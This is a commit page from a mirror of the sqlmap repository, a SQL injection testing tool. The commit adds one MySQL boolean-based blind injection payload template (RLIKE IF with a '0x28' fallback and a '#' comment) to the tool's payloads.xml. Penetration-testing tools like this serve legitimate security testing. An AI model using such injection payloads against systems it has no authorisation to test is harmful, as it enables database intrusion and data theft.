sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-26 11:33:47 +03:00
Code Issues Packages Projects Releases Wiki Activity

implemented Johannes Dahse / Reiners' technique

Browse Source
This commit is contained in:
Miroslav Stampar 2011-01-22 00:06:27 +00:00
parent 0743202879
commit d6d8d54eda
1 changed files with 20 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
xml/payloads.xml
View File

@ -552,6 +552,26 @@ Formats:
<comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison> <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
</response> </response>
</test> </test>
<test>
<title>MySQL boolean-based blind - WHERE or HAVING clause (RLIKE - comment)</title>
<stype>1</stype>
<level>3</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>RLIKE IF([INFERENCE],[ORIGVALUE],0x28)</vector>
<request>
<payload>RLIKE IF([RANDNUM]=[RANDNUM],[ORIGVALUE],0x28)</payload>
<comment>#</comment>
</request>
<response>
<comparison>RLIKE IF([RANDNUM]=[RANDNUM],[ORIGVALUE],0x28)</comparison>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<!-- End of boolean-based blind tests - WHERE or HAVING clause --> <!-- End of boolean-based blind tests - WHERE or HAVING clause -->